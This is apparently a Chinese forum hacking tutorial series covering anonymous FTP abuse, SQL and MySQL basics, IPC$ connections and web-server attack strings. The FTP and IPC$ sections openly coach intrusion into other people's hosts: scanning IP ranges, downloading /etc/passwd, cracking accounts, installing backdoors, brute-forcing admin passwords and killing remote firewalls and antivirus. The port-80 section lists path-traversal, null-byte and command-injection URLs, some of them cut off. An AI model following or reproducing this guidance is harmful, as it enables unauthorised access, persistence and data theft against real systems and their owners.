允许用户使用Anonymous或FTP作为用户名以用户信箱做为口令(确切的说是任何带@的口令)登陆到系统。虽说匿名FTP本身 并不是个漏洞,因为匿名区域里放置有/etc/passwd和/etc/group文件,往往可能因为管理员配置上的大意造成潜在的安全隐患。使用匿名的FTP,用户可以匿名登陆FTP服务器。登陆时需要用户提供完整的E-mail地址做为passwd,其实在很多站点上这个要求形同虚设,你只要在其中包含有@字节看起来像个E-mail地址就行了,主机不会对口令做任何效验的。

远程所提供FTP服务的主机在处理匿名用户的命令时,一般都会执行一个chroot命令让匿名者进入主机所允许的匿名FTP区域。然而为了支持匿名FTP和用户FTP,FTP服务器要访问所有文件,也就证明了FTP服务器不是总在chroot环境中运行的。(一位前辈说的,我不知道还有哪个说的能比这还精辟)这个环节会让一些管理员不知所为而未曾理会,很容易被我们利用而得到一个匿名FTP用户所不能得到的权限。当然解决也很简单,可以通过修改inetd的配置来替代直接启动FTP服务器,它执行chroot(就类似于chrootuid的程序),然后再启动服务器就可以了。

一般情况下,FTP只限于在匿名用户下访问,匿名用户有其正常的权限,在启动服务器前执行chroot就意味着匿名用户将受到限制。如果说一个匿名用户在FTP服务器的匿名区域获得了一份不应该是匿名用户获得的文件,那么就说明了可能有内部客户将这个文件放置在匿名的FTP区域了。 匿名用户可以阅读到/etc/passwd文件这就是管理员很大错误表现。还有隐患是telnet到ftp21如果允许执行SITE CHMOD和SITE EXEC、/home的所有者是匿名FTP的用户,那么随便就可把权限设置成****或者更多的进行修改等等。

为了方便我们用个小软件,其实不要软件也可以,但用一下方便大家嘛 FTP scanner(下载:http://sorry.vse.cz/~xmicm08/FTPScanner/)

安装好后,我们从开始菜单中的程序中找到FTP Scanner并运行它。 我们熟悉一下我们要使用的软件的界面。 打开软件我们可以看到 :Host 主机 ,Beginning ,开始IP 下面有几个文本框 我们在这里填入我们要开始扫描的IP. Ending 结束IP .我们在这里填入我们结束扫描的IP. 在下面有一个 Threads 线程 。我们可以根据网速来选择这里的线程数. 通常Moden上网选为50--70左右. 更快的话选到100个线程. 然后我们选择菜单Session 里的Begin FTP scan 就可以开始了扫描了.. 】

注意:我们可以在View 里的options选项里选择我们的扫描参数.

在Login config里

里的UserName 和 Password我们通常不用更改.

但你也可以改动他. 比如你想扫描特定的帐号.比如扫描用户 Oracle密码也是Oracle的话 就改动这里的 UserName 和 Password

在IP Logging里

我们可以更改扫描结果存放的位置.

随便选择一个位置和文件名就可以了.

默认是存放在安装目录下面的iplog.txt文件.

下面我想大家也会用吧,就是找个主机试试,注意和命令一起用,如果在打开的网页里不能写权限,那就把密码档先当下来. ftp> get /etc/passwd ,然后用小榕的流光提取用户,再找个一个可以利用的shell,就OK了,用找到的用户名和密码登陆,想干什么就干什么了,建议大家装个后门,因为一般管理员很快就会发现的。当然,很多主机更离谱的是.anonymous竟然有到根目录和写的权限

好了,就说到这大家找几个IP段练练吧,国内这样的主机很多的

『第10天』说SQL

先说说什么叫SQL?大家反正都觉得这SQL和数据库有关,其实也不是这样的。SQL是一种结构化数据库查询语言,其发音为“sequel”或“S-Q-L”。尽管MICROSOFT以其特有的方式加入了所有权声明,但它在大多数据库应用中近乎成为一种标准。简言之,它是一种使用你选择的标准从数据库记录中选择某些记录的方法。

因为它的重要所以我将会花一定的时间来讲它,前面的东西大家不说可能用这就会了,但这个一定要仔细的说。先回答大家一个疑问,学了SQL有什么用呢?现在常用的数据库软件是ms-sql,一般的服务器上都由它提供数据库服务,但哟于具有管理权限的帐号SA的默认密码是空的,且低版本的SQL由漏洞能直接获得密码。所以它也成为入侵的一种捷径(如果由漏洞的话)。介绍个软件MS-SOL Brower(SQL远程入侵软件),以后会由用的。

在使用它时,只需要发出“做什么”的 命令,“怎么做”是不用使用者考虑的。

SQL数据库数据体系结构

SQL数据库的数据体系结构基本上是三级结构,但使用术语与传统关系模型术语不同。

在SQL中,关系模式(模式)称为“基本表”(base table);存储模式(内模式)称为“存

储文件”(stored file);子模式(外模式)称为“视图”(view);元组称为“行”(row)

;属性称为“列”(column)。名称对称如^00100009a^:

SQL语言的组成

在正式学习SQL语言之前,首先让我们对SQL语言有一个基本认识,介绍一下SQL语言的

组成:

1.一个SQL数据库是表(Table)的集合,它由一个或多个SQL模式定义。

2.一个SQL表由行集构成,一行是列的序列(集合),每列与行对应一个数据项。

3.一个表或者是一个基本表或者是一个视图。基本表是实际存储在数据库的表,而视图

是由若干基本表或其他视图构成的表的定义。

4.一个基本表可以跨一个或多个存储文件,一个存储文件也可存放一个或多个基本表。

每个存储文件与外部存储上一个物理文件对应。

5.用户可以用SQL语句对视图和基本表进行查询等操作。在用户角度来看,视图和基本

表是一样的,没有区别,都是关系(表格)。

6.SQL用户可以是应用程序,也可以是终端用户。SQL语句可嵌入在宿主语言的程序中使

用,宿主语言有FORTRAN,COBOL,PASCAL,PL/I,C和Ada语言等。SQL用户也能作为独

立的用户接口,供交互环境下的终端用户使用。

(这个内容好像很难懂,大家如果实在不行,了解就行了)

对数据库进行操作

SQL包括了所有对数据库的操作,主要是由4个部分组成:

1.数据定义:这一部分又称为“SQL DDL”,定义数据库的逻辑结构,包括定义数据

库、基本表、视图和索引4部分。

2.数据操纵:这一部分又称为“SQL DML”,其中包括数据查询和数据更新两大类操

作,其中数据更新又包括插入、删除和更新三种操作。

3.数据控制:对用户访问数据的控制有基本表和视图的授权、完整性规则的描述,事务

控制语句等。

4.嵌入式SQL语言的使用规定:规定SQL语句在宿主语言的程序中使用的规则

下面我们就 简单介绍一下数据定义

SQL数据定义功能包括定义数据库、基本表、索引和视图。

首先,让我们了解一下SQL所提供的基本数据类型:(如^00100009b^)

1.数据库的建立与删除

(1)建立数据库:数据库是一个包括了多个基本表的数据集,其语句格式为:

CREATE DATABASE <数据库名> [其它参数]

其中,<数据库名>在系统中必须是唯一的,不能重复,不然将导致数据存取失误。[其

它参数]因具体数据库实现系统不同而异。

例:要建立项目管理数据库(xmmanage),其语句应为:

CREATE DATABASE xmmanage

(2) 数据库的删除:将数据库及其全部内容从系统中删除。

其语句格式为:DROP DATABASE <数据库名>

例:删除项目管理数据库(xmmanage),其语句应为:

DROP DATABASE xmmanage

2.基本表的定义及变更

本身独立存在的表称为基本表,在SQL语言中一个关系唯一对应一个基本表。基本表的

定义指建立基本关系模式,而变更则是指对数据库中已存在的基本表进行删除与修改。

(1)基本表的定义:基本表是非导出关系,其定义涉及表名、列名及数据类型等,其语

句格式为:

CREATE TABLE[<数据库名>.]<表名>

(<列名> 数据类型 [缺省值] [NOT NULL / NULL]

[,<列名> 数据类型 [缺省值] [NOT NULL / NULL]]......

[,UNIQUE (列名[,列名]......)]

[,PRIMARY KEY(列名)]

[,FOREIGN KEY(列名[,列名]......)REFERENCE <表名>(列名[,列名]

......)]

[,CHECK(条件)] [其它参数])

其中,〈数据库名〉.]指出将新建立的表存放于该数据库中;

新建的表由两部分组成:其一为表和一组列名,其二是实际存放的数据(即可在定义表

的同时,直接存放数据到表中);

列名为用户自定义的易于理解的名称,列名中不能使用空格;

数据类型为上面所介绍的几种标准数据类型;

[NOT NULL/NULL]指出该列是否允许存放空值,SQL语言支持空值的概念,所谓空值是

“不知道”或“无意义”的值,值得注意的是数据“0”和空格都不是空值,系统一般

默认允许为空值,所以当不允许为空值时,必须明确使用NOT NULL;

[,UNIQUE]将列按照其规定的顺序进行排列,如不指定排列顺序,则按列的定义顺序

排列;

[PRIMARY KEY]用于指定表的主键(即关系中的主属性),实体完整性约束条件规定:

主键必须是唯一的,非空的;

[,FOREIGN KEY (列名[,列名]......) REFERENCE<表名>(列名[,列名]

......)]是用于指定外键参照完整性约束条件,FOREIGN KEY指定相关列为外键,其参

照对象为另外一个表的指定列,即使用REFERENCE引入的外表中的列,当不指定外表列

名时,系统将默认其列名与参照键的列名相同,要注意的是:使用外键时必须使用参

照,另外数据的外键参照完整性约束条件规定:外键的值要么与相对应的主键相同,要

么为空值(具体由实现系统不同而异)

[,CHECK]用于使用指定条件对存入表中的数据进行检查,以确定其合法性,提高数

据的安全性。

2)基本表的删除:用以从数据库中删除一个基本表及其全部内容,其语句格式为:

DROP TABLE[<数据库名>.]表名

(3)基本表的修改:在基本表建立并使用一段时间后,可能需要根据实际要求对基本表

的结构进行修改,即增加新的属性或删除属性。

增加属性的语句格式为:

ALTER TABLE [<数据库名>.]表名 ADD

(<列名> 数据类型 [缺省值] [NOT NULL / NULL]

[,<列名> 数据类型[缺省值][NOT NULL / NULL]]......

[,UNIQUE (列名[,列名]......)]

[,PRIMARY KEY(列名)]

[,FOREIGN KEY(列名[,列名]......) REFERENCE <表名>(列名[,列名]

......)]

[,CHECK(条件)][其它参数])

例如:在基本表student中加入列stborn出生日期,数据类型为DATE,且不能为空值

ALTER TABLE student ADD (stborn DATE NOT NULL)

删除属性的语句格式为:

ALTER TABLE [<数据库名>.]表名 DROP

( <列名> 数据类型 [缺省值][NOT NULL / NULL]

[,<列名> 数据类型 [缺省值][NOT NULL / NULL]]......)

3.视图定义与删除

在SQL中,视图是外模式一级数据结构的基本单位。它是从一个或几个基本表中导出的

表,是从现有基本表中抽取若干子集组成用户的“专用表”。这种构造方式必须使用

SQL中的SELECT语句来实现。在定义一个视图时,只是把其定义存放在系统的数据中,

而并不直接存储视图对应的数据,直到用户使用视图时才去求得对应的数据。

(1)视图的定义:定义视图可以使用CREATE VIEW语句实现,其语句格式为:

CREATE VIEW 视图名 AS SELECT语句

(2)视图的删除:用于删除已不再使用的视图,其语句格式如下: DROP VIEW 视图名

数据控制

由于数据库管理系统是一个多用户系统,为了控制用户对数据的存取权利,保持数据的

共享及完全性,SQL语言提供了一系列的数据控制功能。其中,主要包括安全性控制、

完整性控制、事务控制和并发控制。这个我就不详细说明了,大家如果有兴趣可以参阅相关书籍

大概需要掌握的SQL基本类容就是这样,因为里面涉及到一些语法和语言,如果你没有一点语言基础的我想会很困难的,我只能建议你去至少看看C语言。明天我们将开始讲MY-SQL

[第11天]mySQL简单介绍

先说第一个如何与数据库建立连接。

一般来说,我们访问MySQL数据库时,首先需要使用telnet远程登录安装数据库系统的服务器,然后再进入MySQL数据库。MySQL数据库的连接命令如下:

mysql -h hostname -u username -p[password]

或者:

mysql -h hostname -u username --password=password

其中,hostname为装有MySQL数据库的服务器名称,username和password分别是用户的登录名称和口令。

如果MySQL数据库安装和配置正确的话,用户在输入上述命令之后会得到如下系统反馈信息:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 49 to server version: 3.21.23-beta-log

Type 'help' for help.

mysql>

这样,用户就成功进入了MySQL数据库系统,可以在mysql>命令提示符之后输入各种命令。

下面我们来说一些主要管理命令,当然你可以在HELP下获得 (我就是从里面copy的)

mysql> help

help (\h) 显示命令帮助

? (\h) 作用同上

clear (\c) 清除屏幕内容

connect (\r) 重新连接服务器,可选参数为 db(数据库)和 host(服务器)

exit (\) 退出mysql数据库,作用与quit命令相同

go (\g) 将命令传送至mysql数据库

print (\p) 打印当前命令

quit (\q) 退出mysql数据库

status (\s) 显示服务器当前信息

use (\u) 打开数据库,以数据库名称作为命令参数

上述命令主要用于MySQL数据库的系统管理,如果用户需要对某个具体的数据库进行操作,可以使用use命令进入该数据库,格式如下:

mysql> use dbname;

在MySQL数据库中,用于保存数据记录的结构被称为数据表。而每一条数据记录则是由更小的数据对象,即数据类型组成。因此,总体来说,一个或多个数据类型组成一条数据记录,一条或多条数据记录组成一个数据表,一个或多个数据表组成一个数据库。我们可以把上述结构理解为如下形式:

Database < Table < Record < Datatype

MySQL 数据库提供了多种数据类型,其中较为常用的几种如下: (这个就简单介绍了)

CHAR (M)CHAR数据类型用于表示固定长度的字符串,可以包含最多达255个字符。其中M代表字符串的长度。

VARCHAR (M) VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度,只要长度小于该最大值的字符串都可以被保存在该数据类型中。

INT (M) [Unsigned]

light_years INT

DATEDATE数据类型用于保存日期数据,默认格式为YYYY-MM-DD。

这个很重要的,举个例子

the_date DATE;

TEXT / BLOB

SET

ENUM

基本就这么多,我没有详细说是因为好象大家可能对这不感兴趣,如果你有兴趣的话,用-QQ联络我,我推荐几个好东西给你,今天时间不早了,就说到着明天我们说下面的内容。可能这2天大家觉得很无聊,但不吃一番苦怎们能开心呢?好象是这样说的吧,呵呵

好象不怎么全哦, 我来发全!

数据库从最初的数据文件的简单集合发展到今天的大型数据库管理系统已经成为我们日常生活中不可缺少的组成部分。如果不借助数据库的帮助,许多简单的工作将变得冗长乏味,甚至难以实现。尤其是象银行、院校和图书馆这样的大型组织更加依*数据库系统实现其正常的运作。再看互联网上,从搜索引擎到在线商场,从网上聊天到邮件列表,都离不开数据库。

目前,市面上的数据库产品多种多样,从大型企业的解决方案到中小企业或个人用户的小型应用系统,可以满足用户的多样化需求。这里,我们所要向大家介绍的MySQL数据库是众多的关系型数据库产品中的一个,相比较其它系统而言,MySQL数据库可以称得上是目前运行速度最快的SQL语言数据库。除了具有许多其它数据库所不具备的功能和选择之外,MySQL数据库是一种完全免费的产品,用户可以直接从网上下载数据库,用于个人或商业用途,而不必支付任何费用(推荐下载站点http://www.mysql.com)。

总体来说,MySQL数据库具有以下主要特点:

1. 同时访问数据库的用户数量不受限制;

2. 可以保存超过50,000,000条记录;

3. 是目前市场上现有产品中运行速度最快的数据库系统;

4. 用户权限设置简单、有效。

如今,包括Siemens和Silicon Graphics这样的国际知名公司也开始把MySQL作为其数据库管理系统,这就更加证明了MySQL数据库的优越性能和广阔的市场发展前景。

本文将重点向读者介绍MySQL数据库的一些基本操作,包括如何与数据库建立连接,如果设置数据库,以及如何执行基本的命令等。希望能够对读者学习和掌握MySQL数据库有所助益。

入门

一般来说,我们访问MySQL数据库时,首先需要使用telnet远程登录安装数据库系统的服务器,然后再进入MySQL数据库。MySQL数据库的连接命令如下:

mysql -h hostname -u username -p[password]

或者:

mysql -h hostname -u username --password=password

其中,hostname为装有MySQL数据库的服务器名称,username和password分别是用户的登录名称和口令。

如果MySQL数据库安装和配置正确的话,用户在输入上述命令之后会得到如下系统反馈信息:

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 49 to server version: 3.21.23-beta-log

Type 'help' for help.

mysql>

这样,用户就成功进入了MySQL数据库系统,可以在mysql>命令提示符之后输入各种命令。下面,我们列出一些MySQL数据库的主要管理命令供读者参考,用户也可以通过在命令符之后输入help,\h或?得到以下命令的简单说明。

mysql> help

help (\h) 显示命令帮助

? (\h) 作用同上

clear (\c) 清除屏幕内容

connect (\r) 重新连接服务器,可选参数为 db(数据库)和 host(服务器)

exit (\) 退出mysql数据库,作用与quit命令相同

go (\g) 将命令传送至mysql数据库

print (\p) 打印当前命令

quit (\q) 退出mysql数据库

status (\s) 显示服务器当前信息

use (\u) 打开数据库,以数据库名称作为命令参数

上述命令主要用于MySQL数据库的系统管理,如果用户需要对某个具体的数据库进行操作,可以使用use命令进入该数据库,格式如下:

mysql> use dbname;

这里需要提醒读者注意的一点就是MySQL数据库要求使用者在所有命令的结尾处使用“;”作为命令结束符。

数据类型和数据表

从本质上说,数据库就是一种不断增长的复杂的数据组织结构。在MySQL数据库中,用于保存数据记录的结构被称为数据表。而每一条数据记录则是由更小的数据对象,即数据类型组成。因此,总体来说,一个或多个数据类型组成一条数据记录,一条或多条数据记录组成一个数据表,一个或多个数据表组成一个数据库。我们可以把上述结构理解为如下形式:

Database < Table < Record < Datatype

数据类型分为不同的格式和大小,可以方便数据库的设计人员创建最理想的数据结构。能否正确的选择恰当的数据类型对最终数据库的性能具有重要的影响,因此,我们有必要首先对数据类型的有关概念进行较为详细的介绍。

MySQL 数据类型

MySQL 数据库提供了多种数据类型,其中较为常用的几种如下:

CHAR (M)

CHAR数据类型用于表示固定长度的字符串,可以包含最多达255个字符。其中M代表字符串的长度。

举例如下:

car_model CHAR(10);

VARCHAR (M)

VARCHAR是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度,只要长度小于该最大值的字符串都可以被保存在该数据类型中。因此,对于那些难以估计确切长度的数据对象来说,使用VARCHAR数据类型更加明智。VARCHAR数据类型所支持的最大长度也是255个字符。

这里需要提醒读者注意的一点是,虽然VARCHAR使用起来较为灵活,但是从整个系统的性能角度来说,CHAR数据类型的处理速度更快,有时甚至可以超出VARCHAR处理速度的50%。因此,用户在设计数据库时应当综合考虑各方面的因素,以求达到最佳的平衡。

举例如下:

car_model VARCHAR(10);

INT (M) [Unsigned]

INT数据类型用于保存从- 2147483647 到2147483648范围之内的任意整数数据。如果用户使用Unsigned选项,则有效数据范围调整为0-4294967295。举例如下:

light_years INT;

按照上述数据类型的设置,-24567为有效数据,而3000000000则因为超出了有效数据范围成为无效数据。

再例如:

light_years INT unsigned;

这时,3000000000成为有效数据,而-24567则成为无效数据。

FLOAT [(M,D)]

FLOAT数据类型用于表示数值较小的浮点数据,可以提供更加准确的数据精度。其中,M代表浮点数据的长度(即小数点左右数据长度的总和),D表示浮点数据位于小数点右边的数值位数。

举例如下:

rainfall FLOAT (4,2);

按照上述数据类型的设置,42.35为有效数据,而324.45和3.542则因为超过数据长度限制或者小数点右边位数大于规定值2成为无效数据。

DATE

DATE数据类型用于保存日期数据,默认格式为YYYY-MM-DD。MySQL提供了许多功能强大的日期格式化和操作命令,本文无法在此一一进行介绍,感兴趣的读者可以参看MySQL的技术文档。

DATE数据类型举例如下:

the_date DATE;

TEXT / BLOB

TEXT和BLOB数据类型可以用来保存255 到65535个字符,如果用户需要把大段文本保存到数据库内的话,可以选用TEXT或BLOB数据类型。TEXT和BLOB这两种数据类型基本相同,唯一的区别在于TEXT不区分大小写,而BLOB对字符的大小写敏感。

SET

SET数据类型是多个数据值的组合,任何部分或全部数据值都是该数据类型的有效数据。SET数据类型最大可以包含64个指定数据值。

举例如下:

transport SET ("truck", "wagon") NOT NULL;

根据上述数据类型的设置,truck、wagon、以及truck,wagon都可以成为transport的有效值。

ENUM

ENUM数据类型和SET基本相同,唯一的区别在于ENUM只允许选择一个有效数据值。例如:

transport ENUM ("truck", "wagon") NOT NULL;

根据上述设置,truck或wagon将成为transport的有效数据值。

以上,我们只是对用户使用MySQL数据库的过程中经常用到的数据类型进行了简单介绍,有兴趣的读者,可以参看MySQL技术文档的详细说明。

数据记录

一组经过声明的数据类型就可以组成一条记录。记录小到可以只包含一个数据变量,大到可以满足用户的各种复杂需求。多条记录组合在一起就构成了数据表的基本结构。

数据表

在我们执行各种数据库命令之前,首先需要创建用来保存信息的数据表。我们可以通过以下方式在MySQL数据库中创建新的数据表:

mysql> CREATE TABLE test (

> name VARCHAR (15),

> email VARCHAR (25),

> phone_number INT,

> ID INT NOT NULL AUTO_INCREMENT,

> PRIMARY KEY (ID));

系统反馈信息为:

Query OK, 0 rows affected (0.10 sec)

mysql>

这样,我们就在数据库中创建了一个新的数据表。注意,同一个数据库中不能存在两个名称相同的数据表。

这里,我们使用CREATE TABLE命令创建的test数据表中包含name,email,phone_number和ID四个字段。MySQL数据库允许字段名中包含字符或数字,最大长度可以达到64个字符。

下面,我们来看一看创建数据表时所用到的几个主要的参数选项。

Primary Key

具有Primary Key限制条件的字段用于区分同一个数据表中的不同记录。因为同一个数据表中不会存在两个具有相同值的Primary Key字段,所以对于那些需要严格区分不同记录的数据表来说,Primary Key具有相当重要的作用。

Auto_Increment

具有Auto_Increment限制条件的字段值从1开始,每增加一条新记录,值就会相应地增加1。一般来说,我们可以把Auto_Increment字段作为数据表中每一条记录的标识字段。

NOT NULL

NOT NULL限制条件规定用户不得在该字段中插入空值。

其它数据表命令

除了创建新的数据表之外,MySQL数据库还提供了其它许多非常实用的以数据表作为操作对象的命令。

显示数据表命令

mysql> show tables;

该命令将会列出当前数据库下的所有数据表。

显示字段命令

mysql> show columns from tablename;

该命令将会返回指定数据表的所有字段和字段相关信息。

数据操作

对MySQL数据库中数据的操作可以划分为四种不同的类型,分别是添加、删除、修改和查询,我们将会在本节中对此进行介绍。但是,首先我们需要强调的一点就是MySQL数据库所采用的SQL语言同其它绝大多数计算机编程语言一样,对命令的语法格式有严格的规定。任何语法格式上的错误,例如不正确的使用括号、逗号或分号等都可能导致命令执行过程中的错误。因此,建议用户在学习时一定要多留心语法格式的使用。

添加记录

用户可以使用INSERT命令向数据库中添加新的记录。

例如:

mysql> INSERT INTO test VALUES

mysql> ('John', '[email protected]',

mysql> 5554321, NULL);

上述命令正确执行后会返回以下信息:

Query OK, 1 row affected (0.02 sec)

mysql>

对上述命令有几点我们需要说明。首先,所有的字符类型数据都必须使用单引号括起来。其次,NULL关键字与AUTO_INCREMENT限制条件相结合可以为字段自动赋值。最后,也是最重要的一点就是新记录的字段值必须与数据表中的原字段相对应,如果原数据表中有4个字段,而用户所添加的记录包含3个或5个字段的话都会导致错误出现。

MySQL数据库的一个非常显著的优势就是可以对整数、字符串和日期数据进行自动转换。因此,用户在添加新记录时就不必担心因为数据类型不相符而出现错误。

查询数据

如果我们无法从数据库中查找和读取数据的话,数据库就丧失了其存在和使用的价值。

在MySql数据库中,用户可以使用SELECT命令进行数据的查询。

例如:

mysql> SELECT * FROM test

mysql> WHERE (name = "John");

上述命令会返回如下结果:

name

email

phone

ID

John

[email protected]

5554321

1

删除数据

用户除了可以向数据表中添加新的记录之外,还可以删除数据表中的已有记录。删除记录可以使用DELETE命令。

例如:

mysql> DELETE FROM test

mysql> WHERE (name = "");

该命令将会删除test数据表中name字段的值为John的记录。同样,

mysql> DELETE FROM test

mysql> WHERE (phone_number = 5554321);

将会从数据表中删除phone_number字段值为5554321的记录。

修改数据

MySQL数据库还支持用户对已经输入到数据表中的数据进行修改。修改记录可以使用UPDATE命令。

例如:

mysql> UPDATE test SET name = 'Mary'

mysql> WHERE name = "John";

上述命令的执行结果如下:

name

email

phone

ID

Mary

[email protected]

5554321

1

到此为止,我们对MySQL数据库数据操作的核心概念,即数据的添加、删除、修改和查询进行了简单的介绍。

『第12天』从ipc$ 连接失败讲起

我们最好先来看一下什么是ipc¥连接。ipc(internet process connection)是远程网络连接。而ipc$,admin$,c$,d$,e$这些则是winnt和win2000的默认共享。ipc$就是一种管道通讯,它在两个ip间建立一个连接。我们一般看到对方主机开了139,445,我们一般就说对方开了共享。就可以尝试用ipc¥连接,具体怎么样你应该没问题了吧。(这种功能只在winnt和win2000种才有,windows98是没有的。 )

很多朋友对ipc¥连接的概念很混淆,我在这里罗嗦几句,ipc¥连接分为ipc$空连接和带有一定权限ipc$连接,这两者可是大大的不一样,许多朋友在建立了空连接之后,就着急的想copy工具上去,这是肯定会报错的,其实这也是很多朋友经常碰到的问题。因为这是空连接,没有任何的权限(就好像匿名访问一样),除了可以得到远程主机的netbios信息外,什么命令都执行不了而可以复制文件是你获得了一定的权限后,比如说你得到一个管理员密码是空口令,也就是带有一定权限的ipc$连接,空连接只是简单的和远程主机建立了一个通讯的管道。是不是什么用都没有呢?当然不是了,我们可以用暴力破解的方法来得到管理员的密码,就是挂上字典不断地进行对ipc$空连接的试探,从而达到取得管理员密码的目的,什么好用你就用什么。到这里我已经对ipc¥空连接和带有一定权限ipc$连接有了一个比较清楚的了解。 很多朋友可能会说说了半天也没到重点。别急嘛,就是作为个知识理解也很好嘛

现在我们分析一下会有那些错误

错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;

错误号51,Windows 无法找到网络路径 : 网络有问题;

错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;

错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。

错误号1326,未知的用户名或错误密码 : 原因很明显了;

错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)

错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码

我们现在已经了解了ipc$失败的原因,我们知道稍微有一点安全意识的网络管理员都会关闭掉共享,不会给你机会用简单的ipc$连接进入他的机子,当然也不排除了哈^_^,而如果他屏蔽掉了ipc$共享并且开了很少的服务(或者根本禁止了许多可以利用的服务),就算你通过某种方法比如说溢出攻击,得到了权限,进入了系统,这时你添加一个账号也没什么意义。想用ipc$连接上传工具,却发现连续的报错,错误1326和错误67比较简单,容易对付。如果碰到对方开了防火墙,也就是(错误67),远程连接不上,我们怎么办呢?这里提供几种办法,

1、杀掉远程主机中的防火墙,如果对方安装了resouce kit 那么我们就可以用tlist 和kill 两个命令来找到并且杀掉防火墙的进程。

2、利用tftp。并不是说有的管理员都安装了resouce kit,那我们怎么办呢?我们知道2000是自带的tftp,我们可以用tftp来上传工具,如tlist 、kill等等,然后关闭防火墙和杀毒软件

3、利用自己的ftp。我们还可以自己驾一个ftp服务器,然后用远程的计算机反过来ftp我们自己的机子,达到上传工具的目的。然后杀掉进程...(其实已经没必要了)剩下的就随你的便了。

上面的几种解决办法也只是假设,因为一般的管理员都会想办法禁止windows自带tftp客户端的使用,(具体参阅这篇帖子:http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=1428)这样给我们就有点麻烦。但有时候还是有用的哦

[第13天]80端口攻击总结

我将描述每种攻击的作用,和其怎样利用这些漏洞进行攻击(注意host的意思你应该懂吧)

(1)'.' '..' 和 '...' 请求

这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些'..'请求。

Example:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

这个列子展示了攻击者请求mosd这个文件,如果攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。

(2)'%20' 请求

%20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。

Example:

http://host/cgi-bin/lame.cgi?page=ls%20-al|

这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。

(3)'%00' 请求

%00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。

Examples:

http://host/cgi-bin/lame.cgi?page=index.html

这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html

注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是我们常用的方法。

(4)'|' 请求

这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。

Example:

# cat access_log| grep -i '..'

(这个命令将显示日志中的“..“请求,常用于发现我们和蠕虫攻击)

常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。

在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。

下面给出一些列子:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|

这个请求命令执行,下面是一些变化的列子

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|

这个请求在unix系统中列出/etc目录的所有文件

http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20'lame'

这个请求cat命令的执行并且grep命令也将执行,查询出”lame'

(5)';' 请求

在unix系统,这个字符允许多个命令在一行执行

Example:

# id;uname -a

(执行id命令后,紧跟着执行uname命令)

一些web程序用这个字符,可能导致在IDS日志中失败的警告,应该仔细的检查web程序,让IDS警报失败的几率降低

(6)'<' 和 '>' 请求

应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中

Example 1:

# echo 'your hax0red h0 h0' >> /etc/motd (请求写信息在motd这个文件中)

一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。

Example 2:

http://host/something.php=Hi%20mom%20Im%20Bold!

你会注意到这里html语言的标志,同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)

(7)'!'请求

这种字符请求常用语对SS(Server Side Include) I进行攻击,如果攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。

Example:

http://host1/something.php=

这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)

同时,这种方式也可以以web站点的权限执行命令

Example:

http://host/something.php=

这个列子在远程的系统上执行“id'的命令,它将显示这个web站点用户的id,通常是”nobody'或者“www'

这种形式也允许包含隐藏文件。

Example:

http://host/something.php=

这个隐藏文件.htpasswd不会被显示出来,Apache建立的规则会拒绝这种以.ht 形式的请求,而SSI标志会绕过这种限制,并导致安全问题

(8)' 这种攻击用于试图在远程的web应用程序中插入PHP程序,它可能允许执行命令,这取决于服务器的设置,和其他起作用的一些因素(比如php设置为安全模式)

Example: http://host/something.php=

在某些简单的php应用程序中,它可能会在远程系统上以web站点用户的权限执行本地命令

(9)'`' 请求

